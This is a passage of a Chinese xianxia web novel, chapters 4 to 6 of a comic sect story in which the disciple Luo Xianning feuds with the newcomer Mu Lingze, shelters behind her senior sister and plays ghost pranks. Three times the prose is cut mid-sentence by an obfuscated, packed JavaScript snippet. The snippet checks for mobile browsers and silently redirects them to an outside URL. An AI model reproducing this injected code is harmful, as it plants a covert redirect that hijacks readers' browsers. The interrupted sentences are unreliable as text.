沐灵泽从地上爬了起来，气得头发丝都快竖起来了，但还是不忘整理一下自己的头发，而后道:“洛纤凝！你使诈！！你无耻！！！” 洛纤凝倚在树上，双臂抱剑，斜眼看他，得意洋洋:“兵不厌诈，你活该！给你一个教训，不用谢！” “你你你……” “我我我……我什么？”洛纤凝从树上跳了下来，拍了拍身上的灰尘，走到沐灵泽跟前，“输了就是输了，要怪就怪自己脑子不好，怎么，输不起啊？” “……你才输不起！” “这就对了！”洛纤凝伸出手，拍了拍沐灵泽的肩膀，随后抱着剑扬长而去，一脸嚣张色:“输给我洛女侠，不丢人！散了吧，都散了吧！” 众弟子亲眼目睹这一场酣畅淋漓的激战，皆羡慕得不行。他们大多只会一些三角猫的功夫，和一点点轻功，甚至有的人什么都不会，全凭运气通过了新弟子考核，想飞檐走壁，还差的远呢！没想到沐灵泽一个新弟子竟这般厉害，能在那么高的树上飘那么久，还和掌门的爱徒打了个平手！ 他们拥上前去将沐灵泽围得水泄不通，安慰他道:“沐兄，其实你已经很厉害了，我们方才都看出来了。都怪洛师姐她太过狡猾，她若不使诈，谁胜谁负，还不一定呢！”话音一转，又道:“话说沐兄你功夫这么好，干嘛跟我们一样来此地学艺？我以为你只是剑术好，没想到轻功也这么好，我看你根本就不需要师父嘛！你都可以给我们大伙当师父了！” “对啊沐兄，你这功夫一点都不比洛师姐差，哪儿学的啊？” 沐灵泽道:“呃……都是、都是我父母和我阿姐教我的……” 洛纤凝远远地望见这一幕，挠头皱眉道:“怎么没人夸我厉害？我才是赢的那个好吧？” 一旁的叶惜真幽幽地道:“你是他们的师姐，你要是连一个新弟子都打不过，岂不是太过丢人？有什么好骄傲的？方才我都看见了，你若是不使诈，顶多和他打个平手，真是没……” “用”字及时刹住，没说出口，但很不幸，还是被洛纤凝给猜到了。 洛纤凝一把揪住叶惜真的耳朵，盛气凌人地逼问道:“没什么？说啊！” “没、没什么。”叶惜真捂着嘴巴，使劲摇头道。 洛纤凝松开了他的耳朵:“暂且饶过你这一次，你看着他们，我去翠竹峰找趟师姐！” 4. 轻狂4 林惜英正在竹林的空地中教新弟子御剑之术，忽然，身后窜出一个人来，“扑通”一声跌在地上，抱住她的双腿就开始喊:“师姐——” 尾音拖得极长，像是受了天大的委屈一般。 女弟子们被洛纤凝这一举动吓得纷纷举剑不动，冯惜缘更是背过身去偷偷笑了起来。 林惜英见怪不怪，淡声道:“大家稍作休息，待会儿继续。” “是！”女弟子们齐声应道，而后行至不远处的矮桌旁，品尝起了早已准备好的茶点。 天空湛蓝，林间碧绿，周围不时有鸟儿飞过，女弟子们盘腿坐在一起，交流着方才的御剑心得，一口一个“贺姐姐”、“梁妹妹”，看得洛纤凝羡煞不已。她好像忽然明白为何琼芳长老只收女弟子了。 果然男人多的地方就是聒噪，还是翠竹峰比较安静，每个人说话都是轻声细语的，不像那群男弟子，动辄便是: “沐兄！” “王兄！” “赵兄！” 嗓门之大，很是聒噪呐。 罢了，她自己的嗓门好像也没小到哪儿去。 “何事？”林惜英俯视着脚边的人，见她望着前方迟迟不语，忍不住问道。 洛纤凝仰头看向林惜英，露出一副可怜巴巴的表情，道:“师姐，把你的美色分我一点吧，就一点。”说罢，似是觉得自己的模样不够可怜，又使劲吸了吸鼻子。 林惜英眼睛一闭，复又睁开:“阿凝，你今日又抽什么疯？” “师姐，有人欺负我，你一定要帮我好好教训他！” “有人欺负……你？”林惜英眉心不受控制地抽动了一下，以为自己听错了，“你确定不是你欺负他？” 竟然有人敢欺负洛纤凝，这真是破天荒头一回，她不欺负别人都已经是烧高香了。 洛纤凝抱着林惜英的双腿摇晃道:“就是他欺负我！就是那个叫沐灵泽的新弟子！他说他就算觊觎你，也绝不会觊觎我，呜呜呜……” 林惜英:“……” 半晌后，她道:“就这事？这不是很正常么？松手，别逼我动手。” “……哦。”洛纤凝闻言，乖乖地缩回手，从地上爬起来，不甘心道:“这个沐灵泽，我一定不会轻易放过他的！哼！” 林惜英叹了口气，劝道:“阿凝，你已经长大了，别再惹掌门生气了，你看他的白头发都被你给气出来了。” “什么叫被我气出来的？！”洛纤凝握紧双拳抓狂道，“师姐，你怎么能这么说我呢？我明明这么听话，这么懂事！” “……” “师姐，你这是什么表情？你翻什么白眼？” 林惜英一阵无语，片刻后道:“阿凝，时候不早了，我还要教新弟子呢，就不陪你了。”说罢扔下洛纤凝一个人，抬脚朝新弟子们走去。 一阵狂风吹过，洛纤凝一个人杵在原地，无比凄凉地吸了吸鼻子，感觉自己好生孤独。良久之后，她掸了掸身上的灰尘，转身朝缥缈峰走去。 缥缈峰，树林内，一众弟子仍旧围着沐灵泽叽叽喳喳说个不停，叶惜真也不知躺哪棵树上睡觉去了。洛纤凝扒在一棵树后，竖起耳朵听着他们的言论。 他们已经不聊武学秘籍了，改聊民间传说了，什么魔王湮月，什么上古之神…… 弟子乙道:“我喜欢星灼上神！七千年前，若不是星灼上神自毁元神，与魔王湮月同归于尽，三界恐怕早就被一群大魔头给统治了，哪里还有如今的我们？” 沐灵泽道:“我喜欢曦昀上神！我从前在酒楼常听说书人讲，曦昀上神总爱在我们人间行侠仗义，路见不平，就拔刀相助！而且七千年前仙魔大战时，若不是她以身为饵，将魔王引去了穹山，恐怕整个天界都要被那什么业火给烧成灰烬了！” 弟子甲道:“不怕你们笑话我，其实我喜欢魔王湮月！虽然他很坏，但他最厉害！怎么打都打不死！曦昀上神和星灼上神加起来都不是他的对手！就是不知道，这魔王到底死没死，有人说死了，有人又说没死。哎，你们说他到底死没死？” “这个嘛，我也不知道，只不过他都七千多年没出现了，应当是死了吧……” 洛纤凝靠着树干，喃喃自语道:“星灼上神，曦昀上神，魔王湮月……小的时候好像听大师兄讲过，怎么回事来着？哎呀，瞧我这记性，忘了，反正他们三个最后都死翘翘了。是死翘翘了吧？还是魔王没死？嗯……” “阿凝！” 尚未嘀咕完，就听见远处响起一个熟悉的声音。洛纤凝倏地抬起眼皮，只见柳惜朝和陆惜名正迎着阳光朝她走来，边走边冲她挥手。 “……大师兄二师兄！！！”洛纤凝大叫一声，如脱缰的野马一般笔直地朝柳、陆二人飞奔而去，并张开双臂，“我的蜜饯小枣，我的话本，我来啦！！！” 望着面前飞奔而来的少女，柳惜朝眼角微微跳动着，就在千钧一发之际，他一把拽过身侧的人挡在了身前。 于是乎，洛纤凝成功地扑在了陆惜名的身上，额头狠狠地撞在了陆惜名的下巴上…… 一阵混乱的惨叫声过后: “大师兄！你也太不厚道了吧！”陆惜名捂着受伤的下巴，怒气冲冲朝柳惜朝吼道，“你就不能躲开么？干嘛非要把我拉过去？！” 柳惜朝伪装出一副恍然大悟的模样，道:“你不早说，我一时没想起来。” 陆惜名:“……” 他咬了咬牙，道:“懒得跟你们计较，我去看看新弟子。” 陆惜名走后，洛纤凝双手叉腰，气呼呼地冲柳惜朝嚷道:“大师兄！！！我要跟你绝交！！！” 柳惜朝叹了口气，道:“阿凝，你已经十六岁了，是大姑娘了，不能再像以前一样黏在大师兄身上了，万一被别人看见了，还以为我们……” 他别过脸，不再说下去。 洛纤凝眼睛一眯，坏坏笑道:“大师兄，你是怕被别人看见，还是怕被师姐看见？” 柳惜朝眺望着远处的树林，磕磕巴巴道:“总之、总之男女有别，你以后……别这样了。” “好了我知道了！”洛纤凝决定不逗柳惜朝了，抢过柳惜朝肩上的包袱，迫不及待地翻看了起来，“让我看看大师兄包袱里藏的是什么？是不是又给我买什么好吃的了？有没有我最爱的蜜饯小枣？” 柳惜朝拿出包袱里的几本书，晃了晃，道:“这些蜜饯和糖果是给你和惜真的，这些话本是给惜英的，你想看的话，就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15286982|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去翠竹峰找她。” “不行！”洛纤凝抗议道，“我要先看！为什么每次我想看话本的时候都要大老远跑去师姐的房间里才能看？！” 柳惜朝将话本藏在身后，语气坚决道:“不行，等你看完，这些书就没法看了。再说了，这些书放在你房间里，容易被师父发现，到时师父又该骂我教坏你了。” 每次看这些东西，她总爱做各种批注，各种圈圈画画，导致她看完之后，别人都没法看了，而且看完后也不好好找个地方藏好，东扔一本西扔一本，以至于师父上一刻刚进她的房间，下一刻就找到他，斥责他都带回来一堆什么玩意，好好的师妹都被他给教坏了。 “大师兄你偏心！”洛纤凝假装不满道，并将下巴高高扬起。 柳惜朝又好气又好笑，摸摸她的脑袋，温声道:“我的心一向都是偏的，你又不是不知道。好了别闹了，再闹小心让师父看见，你和惜英谁都别想看了。” “……那好吧。师姐在翠竹峰教新弟子法术呢，你去找她吧。”无理取闹了一番后，洛纤凝终于罢手，抱起鼓鼓的包袱，蹦蹦跳跳地朝自己的房间跑去，边跑边道:“小孩子应该少吃些，男孩子更应该少吃些，所以还是让我一个人吃吧，哈哈……藏起来日后慢慢吃，待会儿惜真问起，就说我已经吃光了……快快快，跑快些，可不能让那小子看见……” 翠竹峰。 正是午膳时间，柳惜朝穿过熙熙攘攘的人群，与迎面而来的冯惜缘简单地打了声招呼，缓缓行至竹林深处，果然见一身影挥舞着长剑，如旋风一般，自半空中旋转飘落，剑气所经之处，树叶纷纷落地，剑法凌厉，充满杀意，像是下一刻就欲将过路之人一剑封喉。 林惜英跃回地面，收剑归鞘，行至柳惜朝面前，虽有惊讶，但并未显露:“大师兄何时回来的？” 柳惜朝微微笑道:“方才回来。惜英，你每日都这么勤奋，我这个做大师兄的，都快赶不上你了。” 林惜英颔首道:“大师兄过奖了。” 柳惜朝笑了笑，问道:“我看她们都去吃饭了，你怎么不去？” “我等她们吃完再去。” “哦，对，瞧我这记性，我忘了，你不喜欢热闹。”柳惜朝拍了拍自己的脑袋，暗骂自己到底怎么回事，每次见了她，连话都说不利索，还总是没话找话。他拿出身后的话本，递到林惜英面前:“给，这是我从山下带回来的新话本，有好多呢，你慢慢看，不着急，反正琼芳长老也不许你下山，你总不能时时刻刻都忙着练剑吧。” 林惜英道了声谢，毫不客气地接了过来。 柳惜朝想了想，又问:“惜英，你打算一直待在山上，不下山去看看么？” “师父不许我下山。”林惜英神色淡然道。 “其实我这次原本想带阿凝下山的，但她说什么都要和你一起，所以我就没带她。你……没再和琼芳长老提起下山一事么？” “提了，师父让我别提。”林惜英面色不改。 “……” 好尴尬。柳惜朝仰头看了看天空，又看了看四周，最后终于道:“那……好吧，我先走了，就不打扰你了，你好好练。” 林惜英:“嗯，大师兄慢走。” 5. 轻狂5 柳惜朝和陆惜名回来后，新弟子自然交给了他们两个，洛纤凝依旧像从前那样，每日睡到日上三竿才悠悠然醒来，不是在缥缈峰和翠竹峰之间来回溜达，看老弟子们切磋练剑，就是躲在房间里偷吃，被叶惜真发现后到处找地方躲藏。 这日，洛纤凝坐在台阶上，撑着下巴，眺望着远处的落日，自言自语道:“突然闲下来，很是无聊呐！” 虽然她只忙碌了短短几日的时间。 鬼使神差的，她想起了沐灵泽。 她叹了口气，道:“这些天光顾着躲惜真了，竟然把沐灵泽这个小丑八怪给忘了，我可不能就这样轻易地放过他，必须得想个法子好好捉弄他一下……” “洛纤凝！！！”话音未落，叶惜真愤怒的声音如一把刀一般插进了她的耳朵。 洛纤凝二话不说，起身就跑，叶惜真在后面狂追不舍:“说！你把大师兄二师兄带回来的好吃的都藏哪儿去了？！！” 洛纤凝一边逃，一边往后扔话:“我都说了都被我吃光了，你再追也没有！除非我给你吐出来！叶惜真，你小子一天到晚不好好练剑，至于为了这点吃的，追着我满山跑么？！下次再给你买呗！你放心，下次师姐绝对会给你留点！” “你每次都这么说！结果次次都不剩！！” “……” 还是往翠竹峰跑吧，见了师姐，这小子就安分了。 翠竹峰。 夕阳西下，凉亭下，一女子长身玉立，正手持一支碧玉箫，举在唇边，独自吹奏。悲凉凄切的箫声自她唇齿间徐徐荡开，让人听了，仿佛置身于蒙蒙烟雨之中，周身上下一片潮湿，须臾，又仿佛置身于一片浓雾之中，看不清脚下的路…… 如此动人心弦的曲子，就连路过的鸟儿都纷纷停了下来，眼巴巴地望着吹箫之人，不舍振翅高飞。 然而就在这时，一块大石头后，两个脑袋依次冒了出来，与这幽静美好的画面显得格格不入。 沐灵泽道:“这鸟竟然听得懂林师姐的箫声？莫非是要成精？” 沐辰风道:“林师姐竟然会吹箫？还吹得这么好听。赶明儿我也要去学箫，不，我要去学琴，琴箫合鸣，美哉、美哉！” “美你个大头鬼啊！”洛纤凝望着面前两颗圆溜溜的后脑勺，没忍住两个巴掌甩了过去，“你们两个不好好练剑，跑来这里偷窥我师姐，居心何在？！” 方才她就瞥见这两个人鬼鬼祟祟地溜上翠竹峰，是以悄悄跟了过来。果然，他们也是来偷窥林惜英的！ 这些天不知道有多少新入门的弟子跑来翠竹峰偷窥林惜英，不必说，都被她给赶跑了。琼芳长老不是在外云游，就是在闭关，再要不就是在后山清幽之地一个人待着，偶尔唤林惜英过去作陪，几位师姐师妹又是出了名的好脾气…… 于是只能她来管这事了，谁让她整日无所事事，经常在缥缈峰与翠竹峰之间飘来飘去呢。 沐辰风摸着受伤的后脑勺，磕磕巴巴道:“洛洛洛……洛师姐，你你你……你怎么在这儿？还有，你打我们干嘛？！” 洛纤凝双手叉腰，学着沐辰风的口吻道:“我我我……我怎么在这儿？长绝山是我家，你说我怎么在这儿？！谁允许你们两个私自跑上翠竹峰的？！” 沐灵泽盯着洛纤凝的眼睛道:“没人允许，但是长绝山没有规定，不许这个峰的弟子上那个峰吧？” “……” 洛纤凝转了转眼珠。 好像……确实……没有，有的话她也不会出现在翠竹峰。 沐辰风见状，怒道:“你看，没有吧？那你凭什么打我们？！你给我们俩道歉！！” “我？给你们两个道歉？”洛纤凝冷哼一声，抱着胳膊道，“开什么玩笑？我洛纤凝就不知道道歉这两个字怎么写！” “你这人……” 三个人正吵得欢，就瞥见林惜英静静地立在一旁盯着他们看，眉头轻蹙，似怒非怒，双唇紧闭，犹如莲瓣，双眸更是犹如深潭，明净而又深邃……总之，好俊好美的一张脸，要多俊有多俊，要多美有多美，美得简直无法用言语来形容。这世上怎会有如此俊美的一张脸，和如此冷漠的一双眼？整个人简直像极了一把漂亮而又危险的利剑，浑身上下散发着一种冰冷而又迷人的光芒。 兄弟俩呆愣片刻后，立马举起手冲林惜英挥了挥，唇角扬得飞起:“林师姐，你好呀，我们又见面了。” 林惜英十分平静地扫了二人一眼，一语未发，转身朝一旁走去，饶是如此，兄弟俩依旧如痴如醉地望着她的背影，不舍得眨眼，压根就没工夫去看洛纤凝。 洛纤凝冷眼看着此二人，真想冲过去再给他们俩一个耳光，好在忍住了，挪动脚步挡在二人面前，颐指气使地喝道:“看什么看？！还不赶紧滚蛋！再看把你们两个眼珠子挖了！” “……看一下怎么了嘛？！又没看你！你这人……”沐辰风指着洛纤凝的面颊就要破口大骂，沐灵泽抓住他的胳膊劝道:“行了行了，我们走吧，已经看过了，再看也不是你的。” 又赶走了两个登徒子，洛纤凝喜滋滋地跟上前去欲向林惜英讨赏，结果还未开口，叶惜真如刀般的声音又插了过来:“洛纤凝！！！” 不好！洛纤凝大叫一声:“师姐！”拔腿奔到林惜英的身后躲了起来，“师姐救我，师姐救我！” “又怎么了？”林惜英闭了闭眼，问道。 洛纤凝揪住林惜英身后的衣裳，装作一副可怜巴巴的样子道:“我一不小心把大师兄带回来的蜜饯和糖果给吃光了，没给他留，他生气了，要打我，呜呜呜……” 林惜英:“……” 一不小心，又是一不小心。 一问一答间，叶惜真已奔到了林惜英的跟前，想绕到林惜英的身后去捉洛纤凝，怎奈何洛纤凝抓着林惜英的胳膊转来转去，就是不肯让他绕过去。 叶惜真仰头看向林惜英，鼓足勇气道:“林师姐，麻烦你让一下。” 林惜英静默不语。 叶惜真深吸一口气，道:“林师姐，你让一下嘛！” 洛纤凝小脸贴在林惜英的背上，压低声音道:“不让不让，师姐，拔剑，吓死他！” 林惜英闻言，果真拔出了剑，凝视着叶惜真，冷声道:“消失，否则你的头发别想要了。” 叶惜真被绝尘剑冰冷的剑光给吓到了，往后退了一步，道:“你们……你们欺负我，我要告诉大师兄和二师兄去！” 洛纤凝露出半张脸，冲他扮鬼脸道:“去吧去吧，二师兄不还是要听大师兄的，大师兄不还是要听师姐的，师姐不还是要听我的。” 绕来绕去，还不都得听她洛纤凝的。 “你们……哼！”叶惜真抬起一只脚，狠狠地踩在了地面上，而后怒发冲冠地走了。 洛纤凝嘿嘿一笑，跳到林惜英的身侧，抱住她的胳膊道:“师姐，还是你对我最好。” “最后一次，下不为例。”林惜英收剑归鞘，冷冷说道。 洛纤凝笑得眉眼弯弯:“好的师姐。师姐，我们去你房间看话本吧。” 林惜英没有说话，抬脚朝自己的房间走去。 天色渐晚，两个人窝在房间内各自忙碌着。林惜英坐在书案旁翻看着一本《才子佳人故事集》，洛纤凝则捧着一本《民间鬼故事大全》，时而在林惜英身旁扭来扭去，时而在床榻上滚来滚去，哈哈笑个不停。 林惜英想破脑袋都没想明白，鬼故事这种东西究竟有什么好笑的。她正欲开口询问，突然， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15286983|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛纤凝一骨碌从床榻上翻了下来，露出了她那一贯不怀好意的笑容，道:“师姐，此刻天色已晚，正是吓唬人的大好时机！” 林惜英静静地看着她，问道:“你又想干什么？” 洛纤凝狡黠一笑，搓着手道:“我要去找惜缘，给她讲鬼故事听。不过这书里的鬼故事都太平淡了，不够吓人，我方才把它们糅合了一下，想出了一个特别特别吓人的鬼故事，哈哈哈哈！师姐你就在这儿等着，我保证，不出一盏茶的工夫，惜缘就会跑来向你告我的状！我走了！” 林惜英:“……” 不等她张口劝阻，洛纤凝已扔下鬼故事大全，拉开房门朝冯惜缘的房间奔去。 林惜英望着烛台上燃烧的蜡烛，无奈地摇了摇头，旋即侧耳倾听着隔壁房间内的动静。不多时，果然听见冯惜缘的尖叫声透过墙壁传了过来:“我不听我不听！我要告诉林师姐，你欺负我！哼！” 不过须臾，房门便被人从外推开，冯惜缘脸上挂着泪珠跑了进来，抓住林惜英的胳膊摇晃道:“林师姐，你管管洛师姐，她非要拉着我给我讲鬼故事听！我都说了我不听，她非要讲给我听！你管管她！” 林惜英抬手帮冯惜缘擦去眼泪，安慰她道:“惜缘别怕，什么鬼故事，都是假的。放心，师姐待会儿一定帮你狠狠批评她。” “嗯！咦？洛师姐人呢？”冯惜缘擦着眼泪，一抬头却未看见洛纤凝的人影，只看见打开着的房门，还有房门外空荡荡的夜色。她起身朝外走去，口中呢喃道:“莫非回缥缈峰了？” 话音刚落，一张翻着白眼、吐着舌头的脸便从屋顶上直直地掉了下来，近在迟尺地与她对望着，脑袋还一晃一晃的。 “……啊！！！”冯惜缘尖叫一声，腿一软，掉转身子就往林惜英的怀里扑，“鬼！有鬼！！师姐！有鬼！！” 林惜英抱着冯惜缘，望着刚从屋顶上跳下来的洛纤凝，提高声音道:“阿凝！你闹够了没有？！” 冯惜缘这才反应过来，方才的鬼竟是洛纤凝假扮的！她转过头，看见洛纤凝正倚在门边，笑得上气不接下气:“惜缘你……太不经吓了，我就翻个白眼吐个舌头，就能把你吓成这样，你简直和小时候的师姐一模一样！哈哈哈哈……” 林惜英:“……” 她还有脸提小时候。不过多亏了她，她如今的胆子已是要多大有多大，便是真的撞见鬼，也不会皱一下眉头。 冯惜缘登时气不打一处来，大喝一声:“洛师姐！我跟你拼了！！”便奔出房门，追着洛纤凝四处跑了起来。 洛纤凝一边逃，一边狡辩道:“惜缘呐，洛师姐都是为了你好，咱们将来可是要斩妖除魔的，你看你，连区区一个鬼都如此害怕，将来还怎么行侠仗义？你已经不小了，都十三岁了，洛师姐十三岁的时候，都能飞檐走壁上房揭瓦了！对了，你回头可千万不能将此事告诉琼芳长老哦，不然洛师姐会很伤心的哦，以后就不来找你玩了哦。”说话间已施展轻功朝缥缈峰的方向飞去，“不用送了，快回去吧，洛师姐改天再来给你讲鬼故事听！” 冯惜缘气得脸色通红，望着洛纤凝远去的背影，握紧拳头，气鼓鼓道:“谁送你了？！自作多情！再给我讲鬼故事听，等师父回来，我一定告诉师父，让她狠狠罚你！！”她掉头跑向林惜英，愤愤然道:“这个洛师姐，真是太坏了！林师姐，她这么坏，你干嘛整天和她混在一起？万一她把你带坏了怎么办？！” 哪知林惜英并未回答她，只是冲她扯了扯嘴角，继续仰头望向天边的圆月。 冯惜缘早已习惯了林惜英的沉默，又道:“师父和唐师姐怎么还不回来啊？等师父回来了，洛师姐就不敢这么嚣张了，哼！” 林惜英想了想，道:“快了吧。” 6. 轻狂6 洛纤凝一个轻功降落在了缥缈峰，哼着小曲儿朝自己的房间走去，没走几步，忽然脚步一顿，感觉到有什么东西正在朝自己漂亮聪慧的脑壳飞来。 她脚下一转，轻轻松松地躲过了从身侧袭来的一块小小的石子，又惊又怒又喜道:“什么人这么大胆，竟敢偷袭我长绝山小霸王？！出来！！” 吼完等了许久，愣是没看见一个人影，洛纤凝拳头一握，踮起脚尖，轻手轻脚地朝石子飞来的地方走了过去，心道:“难道是惜真？不至于吧？为了一点吃的，深更半夜的躲在这里偷袭我？” 这时，一个人影倏地一闪而过，朝树林中跑去，洛纤凝来不及细看，拔腿就追。林中没有灯火，比外面黑一些，好在今夜月光明亮，不至于看不清人影和树影。 那人影明显比叶惜真高许多，轻功也是不凡，上蹿下跳，跟猴似的，显然不是叶惜真，但看着也很是眼熟。 “跑得倒是挺快，等我抓到你，看我不削了你！”洛纤凝嘴里喊着，加快脚步，一脚蹬在身旁的一棵大树上，跃上树枝，一个跟斗翻到了那人的面前。 那人刹住脚步，竟是沐灵泽！ “好啊沐灵泽，搞了半天，原来是你在偷袭我！”洛纤凝双手叉腰望着沐灵泽，想起傍晚时分她送了他和沐辰风的后脑勺一个耳光，登时心下明了。 此人竟如此小肚鸡肠，若不是他偷窥师姐，她怎会对他动手？ 沐灵泽深感大事即将不妙，嘴角扯出一丝难看的笑容，边往后退边道:“洛、洛师姐，我只是想跟你开个玩笑罢了，你不会这么小肚鸡肠的，对吧？” 洛纤凝左掌搭在右拳上，摩拳擦掌道:“当然……会了！”语毕，伸手探进衣袖，欲抽出凌云剑，但转念一想，又怕刀剑碰撞的声音太过响亮，惊动外面的人，只好改用手了。 沐灵泽反应极快，侧身躲过洛纤凝袭过来的一拳，掉头就往回跑。洛纤凝狂追不舍，揪住他的后领将他摔倒在地，同他撕打了起来。 “敢偷袭我，沐灵泽，看我今天不好好教训你一顿！” “明明是你先偷袭的我！”沐灵泽抓住洛纤凝的手腕，费力地辩驳道，“我不过是想偷袭回去罢了！你这人真是不讲道理！” “你跟我讲道理？笑话！道理能当饭吃么？我洛纤凝的人生准则是:能动手就别嚷嚷！别人打我一巴掌，我就要打他两巴掌！再说了，明明是你偷窥我师姐在先，你还好意思跟我讲道理？你这个登徒子！” “……你才是登徒子！我只不过远远地看了林师姐一眼而已，又没有做什么，你这女子……真是野蛮！” “你说什么？你说我野蛮？沐灵泽，你今天死定了！” 两个人你一拳我一爪，翻来覆去正打得起劲，就听一道雄浑有力的声音自林外响起:“什么人？！干什么呢？！” “……” “不好！是我师父！”洛纤凝来不及犹豫，赶忙从沐灵泽身上起开，并顺手将沐灵泽也拉了起来，正欲整理一下仪容仪表，洛逍就已从天而降，提着灯来到了他们面前。 “你俩干嘛呢？深更半夜，孤男寡女，衣衫不整，干什么呢？！！”洛逍提着灯在两个人身上照来照去，越照越觉得不对劲，于是扯开嗓门冲两人咆哮道。 洛纤凝低呼一声，心想:“坏了，师父一定是想偏了！”她急急忙忙地开口解释道:“师父，您误会了，您真的误会了！” “对对对，”沐灵泽也急忙道，“掌门，不是您想的那样……” “那是哪样？！”洛逍怒声喝道，感觉辛辛苦苦种出来的花即将被猪给拱了！ 哪样？沐灵泽左看右看，上看下看，绞尽脑汁地思考着，但就是思考不出来。就在他觉得自己即将被踹下长绝山的时候，洛纤凝望着天上的月亮道:“我们俩方才在树枝上看月亮呢，一不小心掉了下来，所以才……才衣衫不整。” 沐灵泽短暂地松了一口气，但紧接着，他就觉得，这个理由好像也差了点。 果然，洛逍眉头一拧，一脸的难以置信:“你们俩……看月亮？！” 洛纤凝翻着白眼道:“嗯。” 沐灵泽重重点头:“嗯！是真的！掌门，我和洛师姐方才偶然遇到，觉得今夜的月色甚美，所以就一起过来看看。我给洛师姐讲山下的事讲得太过投入，讲着讲着，一不小心就从树上掉了下来。洛师姐伸手想抓住我，但没抓住，所以就和我一块儿掉了下来。” 事已至此，似乎也找不到更好的理由了，毕竟门规前几条清清楚楚地写着——切磋需有第三者在场。 他可不想抄那一千八百条门规，一遍都不想抄。 “深更半夜，看什么月亮？！都给我滚回房间去！！”洛逍瞪着两个人道。 这话说的，深更半夜不看月亮，难道大白天看啊？沐灵泽拔腿欲走，洛逍又道:“等等，你叫什么名字来着？” 沐灵泽咽了口唾沫，拱手答道:“回掌门，弟子沐灵泽。” “沐灵泽？”洛逍咬了咬牙，“好，我记住你了，都回去吧，以后大半夜的少出来晃！” “是，掌门。”沐灵泽恭敬地应道，随后跑得飞快。 洛纤凝盯着那道逃之夭夭的背影，心道:“沐灵泽，你给我等着！”随即正要离开，怎料刚迈开一条腿，就被洛逍揪住了后领，紧接着又是一声吼:“说！你们两个方才背着我干什么呢？！！” 洛纤凝被吼得头皮一麻，扭头看向洛逍，不耐烦道:“不是都跟你说过了嘛，我们在看月亮啊！” “看月亮？”洛逍丝毫不信，揪着洛纤凝的耳朵道:“洛纤凝，你有那闲工夫看月亮，猪都能飞上天了！” 果然，知子莫若父，知徒莫若师啊。洛纤凝抓住洛逍的手指，一根根掰开，然后继续嘴硬道:“我说了我在看月亮，我就是在看月亮！你要是不信的话，那你觉得我在干嘛，我就在干嘛吧！再说了，谁说猪不能飞上天？它修成妖怪，不就能飞上天了么？”说完这句话，她撒腿就跑，没跑多久又听洛逍的咆哮声远远地飘了过来:“洛纤凝！我真是把你宠坏了！再让我发现你深更半夜不睡觉，和别的男人鬼混在一起，我一定抽死你！！” 房间内，洛纤凝抱着被子，望着窗外皎洁的月光，暗自琢磨道:“敢骂我野蛮，沐灵泽，看我明天怎么收拾你！” 而与此同时，沐灵泽已经进入了梦乡。 那是他从小到大做过无数次的梦。梦里，仿佛是一个人和一条龙，只不过离他太过遥远，他只能勉强识得那是一个女子。但自从来到长绝山后，那一人一龙居然离他越来越近，越来越近…… 那是一个身着金色广袖长袍的女子，长身玉立于群山之巅，脚下摆放着一张古朴的琴，身侧盘旋着一条长而蜿蜒的黑龙。微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15286984|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风拂过，那女子的青丝与衣袖随风摇曳，仿若谪居人间的仙人。 好美的画面，好美的一人一龙。尤其是这女子，她究竟是谁？为何他总能在梦里看到她，却又只能看到她的背影？ 他不自觉地迈开脚步，朝那女子走去，却在离那女子只有五步之遥时，被一道结界挡住。任他如何施展灵力，如何大声嘶喊，都无法破开那道结界，亦无法让那女子回头…… 次日清早，为了报复沐灵泽，洛纤凝特意起得很早，在柳惜朝与陆惜名教新弟子剑术的时候，她故意躲在一棵隐蔽的大树上，将刚捉来的、新鲜热乎的虫子往沐灵泽身上弹。 于是乎，沐灵泽一扭头就发现肩膀上趴着一条又粗又长，且正对着他笑的虫子，吓得他险些魂飞天外，连剑都扔了。 “沐灵泽！你干什么呢？！”陆惜名见状吼道。 “二、二师兄！有虫！有虫！”沐灵泽一边赶虫子，一边大声道，惹得新弟子们笑声连连。 陆惜名很是无语道:“堂堂七尺男儿，一条虫就把你吓成这样？将来还怎么斩妖除魔？！” “不、不是的二师兄，那条虫……它会笑！它竟然会笑！！” “会笑？”柳惜朝眉头一皱，走到沐灵泽身后的一棵树下，长剑一挥，只听“哎哟”一声，树上掉下一个人来。 “阿凝？你在这里做什么？！”陆惜名看着眼前捂着胳膊连声叫痛的少女，心知肚明这虫子又是她的手笔。 